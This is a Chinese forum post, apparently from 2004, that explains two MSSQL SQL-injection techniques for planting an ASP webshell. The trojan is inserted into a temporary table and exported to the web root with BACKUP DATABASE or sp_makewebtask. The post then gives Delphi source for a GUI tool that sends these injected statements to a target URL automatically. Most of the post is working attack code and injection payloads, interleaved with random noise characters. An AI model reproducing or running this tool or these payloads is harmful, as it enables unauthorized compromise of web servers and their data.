QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3093|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理: 0 G2 Y' o. w0 Q6 `: T
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
* F, m6 P7 D' o分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 / G' ~! x. V" x! A  Q
再来看看CZY的方法吧。
$ ^3 C9 F+ o5 K2 O3 rCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 6 h: j3 z7 o/ Q( T$ n* q: ~
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 ) g# p8 W  g$ L4 f. i8 E! q) y9 @  e
二.利用DELPHI去实现功能的前言 : x( o- {) x$ I9 |! L+ j
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 9 X# E6 o& u( p. @. F1 n5 s$ v
) H; {# ^( k+ ^% x7 s( q! c
三.如何利用DELPHI得到WEBSHELL。
! X% l4 L' o! i7 R( n9 Z: ~程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
' D* O3 h" n5 [) E9 ]' g' F首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
1 j$ V$ ~7 R5 O7 v0 @+ @' ^- K! r" U- ]1 C: r  W% }5 j

. R' J% Z" j2 ~/ D: G2 o7 ]9 @9 p2 c
现在来写程序了。
  ?( t* c7 j$ z0 d4 F+ Y我们首先定义一个RECORD。
$ z. A$ o: k* X* h如下:7 w9 w! [! F. c9 V, k" g2 j
Type - |: p; a; ~" H0 v
SetOption = Record # H3 U$ g; o7 H( H9 _& z3 ^1 h7 {6 x
TableName : String; //用来保存要创建的表名.
0 [/ @5 s. W$ ?0 n: P7 j3 w/ XFieldName : String; //用来保存要创建的字段名.
$ o; E# c( n1 f2 h3 j& r6 S5 }FiledType : String; //用来保存创建的字段名类型. + Q, S& O7 X- F* F
End;
4 p( _2 [2 s2 t$ f1 E( ]& dFiledType字段类型的值是以下类型的一种:
6 y* E+ @! E) _6 H7 xBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint - i8 M- B+ d- c6 o8 @) M
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
' R7 w/ f# E6 I6 ~) T8 Q- G再定义一个全局变量: 9 K/ B  ^( I" a' O  R- T3 f
Var
  R- b" E3 k+ i6 u1 _$ P, d; gISStop : Boolean; //用来判断用户是否按下了停止按纽.
6 }- K8 c  A# d$ M2 u5 e- \  ]7 S好了。在表单创建的过程中,我们为RECORD记录输入默认值. 9 A: K$ U% P9 r5 c2 S8 Y- x1 C
代码如下: . S, D" I  A( l. q+ a- Z; W
procedure TMainForm.FormCreate(Sender: TObject);   C0 ~% l$ V8 `
begin
6 j8 V' `' T# `4 D3 R: \' ysOption.TableName :='cyfd' & [5 S. Y' y& M. H& t
sOption.FieldName :='gmemo' * J7 q+ t# ~0 N9 F9 @
sOption.FiledType :='text'
# D# K& R& ^2 n* l5 Lend; 9 @2 k9 f1 k) n3 ?, D8 K4 a
现在我们添加开始执行命令的代码。   c5 @- z) W. M" n5 [
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. 2 v( J6 `( q% S# b
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.   J' X; w5 h3 ]1 U1 s/ M! Z; Z
在程序开始执行前,我们得先检查一下用户的输入
' L& G. j2 b" L& H% |7 p定义一个Checkinput函数. 4 T9 \( _* W& e
如下: 9 }6 f  |" Y/ f$ g: y% L
Function CheckInput : Boolean; ) W* n0 y& o" m8 H
Begin
) E5 N0 H+ k! S4 VResult := False;
7 Y6 [1 [  a9 U$ zif Trim(urlet.Text) = '' then , L' U8 C# {( {6 k  u) O
Begin * g( _7 S7 F# T6 z% {! c# n
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); ) w; `- M- h% R
Exit;
& s( Q1 n, {2 J% k% a) {End;
) E9 `! q0 M& aif Trim(ShellPathET.Text) = '' then 5 A% c4 \1 d0 \" @) G9 b
Begin
0 H6 G% n7 g3 Q5 B6 o: pApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); 1 s) y* ]; W) E7 D2 {, e* T
Exit; 9 {3 c8 P8 ]) Q0 q
End; , b" o( S6 _, p4 p3 d  e$ ]
IF DefBDoor.Checked then
1 C4 Z$ w5 {5 HBegin ' ?/ K6 V. R" r& N+ T& }
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
4 Y7 H. L3 }" P7 a$ T$ |+ ~Begin : |. s; @+ X: j0 ~5 S* F
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
, r, Q6 x8 }% }# j" iExit; ) @) R3 ?- z/ ~/ a7 j% `/ n/ F$ t6 `
End; . K& M6 ?) D: B5 }8 K* z* t
End / t  F% \( L& X( R3 e; v5 {
Else   u  t) Z# t$ m
if Not FileExists(CustomBdoorET.Text) then ; r, s- e4 m+ z7 r- D" z8 V$ |
Begin 0 Z( R; x: W" m& e- b
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); , U6 N5 o+ D  g. e" m
Exit;
; x$ E) Z& B0 n# L4 o1 GEnd;
  h) C* g+ i  m% V1 rResult := True; 9 V. P3 E- r# ?0 k9 d
End; - H) X# g! M1 E# ^% M' W& ]5 z
在最开始加入:
  Y+ D$ e2 k$ C9 T4 N& `0 PIF Not CheckInput then Exit; //如果输入不合法就退出过程.
& y" b0 @4 l1 q8 Z3 u% c好了,如果用户输入没什么错,我们就来下面的代码。
8 B; m/ w  l4 l; s% @& N首先我们把IsStop设为假。创建BdoorList。 " ^" h+ @4 S; Q5 \- r' O3 f) P
BDoorList := TstringList.Create;
1 [8 N" M# L3 x4 ~- u: J" j4 A; K" d再加木马内容到BDoorlist. 8 e5 l  g$ s5 c" W( k
BDoorList.LoadFromFile(CustomBdoorET.text); ! [* U4 s8 n" a4 r
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
! g" E) F: q" W* m# o代码如下: / j  i: e) ^! P& ?! s) e2 x
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
2 \5 X* I# D5 z( E+ z! H" v9 _BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); , M$ O9 G. T! ~3 T6 K
接下来.我们就提交建表的功能了.
3 U! c: n9 \' pMemo.Lines.Add('建表...');
' y$ r- A+ t' Y; e( |$ {) a$ ^8 ?Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 2 y. s- a. u$ k6 c1 ]  L
这样我们就创建了一个表。然后.我们向表中加记录:
9 d+ q; n& G9 P. y; B7 {代码如下: 5 P! D  ]& K0 I0 ~( e1 O
Memo.Lines.Add('加数据...'); : z3 {  w  _9 H6 u. m7 g5 m
Memo.Lines.Add('');   q0 d0 d8 I& F. B. P, e, \
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
+ w/ t( {) Q  B0 NBegin , Q7 R' G' M1 K
IF IsStop then //这里如果点了停止按纽程序将终止任务.
+ P$ n9 r. o3 }. ?1 K6 eBegin ' V, x2 D5 ^( d: }
BDoorList.Free;
2 {8 p9 |; K4 _8 X- f! A! zExit; 5 _$ O  W. ~6 j' O  y
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
6 z) \! t% b4 vMemo.Lines.Add('Add Line '+Inttostr(i+1));
; d7 u; {$ ^: f* ]& X- f8 Y; Q7 F9 kEnd; 6 s3 a% I5 j9 d
现在就是导出数据生成木马了. ' E9 f% q5 q0 [8 v
Memo.Lines.Add('导出数据...');
. G. K- D1 G% @' o  W8 EMemo.Lines.Add(''); - U8 }, k% v) t. b! H* D! |
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
2 u9 K2 i. Q$ J" _4 d9 c8 gNMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
1 C: ?+ m$ [) W% c+ |( y2 ]; A( OElse //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
8 ]9 Y3 c6 F" ]. P  |4 I# j8 q' L+ J我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); ! v& ?, w8 g8 r+ m
这样我们的任务就完成了。下面来释放变量.
( i/ k% h: t  R8 rBDoorList.Free; 5 Y7 p2 @5 o/ p9 j3 k9 j2 e* U
再来向停止按纽中添加点击事件: 3 e  J8 N. D3 W& q* y
一行代码就行了:IsStop := True;
8 G6 w9 c7 N6 O$ ]到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
5 x  ^1 |- P. Y2 [设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
0 f* K4 B' s/ p& f第一个名称为:TableNameET //保用户输入的存临时表 * l8 n; R  Z8 u# `  _
第二个名称为:FieldNameET //用来保存用户输入的字段名. 6 C2 S  L( K% |+ z: W
再添加一个Combobox //用来保存用户所选的字段类型值. # M  x% Z; j4 N! ]: _) M, p
名称:FieldTypeCombox
( L9 f: ?+ ]5 F4 n0 r5 t  B1 [OK.界面如下: 2 c& B4 ~1 B( J/ H: q0 i

8 a! R) ]' ^! K5 h: J9 Z% g代码如下: ; w7 C& e" ?! U4 V4 t
定义一个过程,主表单好调用这个设置。
2 h, z1 ~2 v) g  L, OProcedure ShowSet; ) g1 S0 x6 B9 f" W) p2 `
Begin
+ r* U: U' K8 s' `2 U6 k" m; vApplication.CreateForm(TSetForm,SetForm);
0 @$ k* C) l1 Z9 Y& ~. a+ {With SetForm do
& H( {, N7 m, _( m2 uBegin $ l' Y+ K  E( k
TableNameET.Text := sOption.TableName; & K4 o6 ?$ S. |" X
FieldNameET.Text := sOption.FieldName;
+ X9 I5 M% S, N2 }$ _FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); 3 l% d/ ?+ \4 w# q/ m: E
End;
: ]: s  a5 f/ T8 J! v! [SetForm.ShowModal; 7 b8 Y& s1 L% F2 C0 k
SetForm.Free;
" s# \% G7 U6 s( J  O8 OEnd; / F* T8 D5 E9 n" J3 Q
在主表单中设置的点击事件中添加上showset过程就行了。 * F, [/ w4 e) m7 K
下面就是点击确定的代码了。 " ~& ~& ~2 o% k- ?) V" s
IF CheckInput then * Q/ q6 Q) x) B5 U7 L8 |- ^8 t& V: w
Begin 9 A4 Y9 Y. [& o5 l9 y2 U
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. 1 {7 T6 a, h7 `) Y9 n) K' j
sOption.FieldName := Trim(FieldNameET.Text); 8 m. J2 _1 o2 \6 F& w4 W
sOption.FiledType := FieldTypeCombox.Text;
: h8 Q; U4 o# U3 RClose;
8 I, ~. [7 [5 w- G! OEnd;
# _6 b: B8 a2 g( X2 \( b+ n, h$ J0 P这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 0 {+ O1 b5 N/ \. R/ A
代码如下:
6 @9 k* Y& @3 g* |: U5 |/ vFunction CheckInput : Boolean;
2 o8 h5 U) I* p! N/ gBegin
; H. ?2 z0 I; \+ TResult := False; 8 P2 U6 r$ i8 v* U7 T8 H  O
IF Trim(TableNameET.Text)='' then
+ e  E7 _, K& q: DBegin
, B, _- e& G: D2 U' sApplication.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); ' _# K- S" d, l- I+ a0 b: t
Exit;
" o; E) n1 f6 ~' C, pEnd; , r/ u% x7 q* h% J9 O
IF Trim(FieldNameET.Text)='' then ' u$ Y9 \- F: }9 ~' X8 `
Begin 9 R1 I4 P* F  m6 V
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); $ E9 g/ e, U3 \6 T' u2 ?
Exit;
& D+ K! ]! V7 y' l" F% U8 D/ P2 vEnd; 2 a/ p2 g3 l/ E1 u$ m9 `
Result := True;
8 F1 b: p$ X7 CEnd;
; p1 N7 G* g$ z) ~$ [+ {7 a) w到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-9 17:59 , Processed in 0.463266 second(s), 52 queries .

回顶部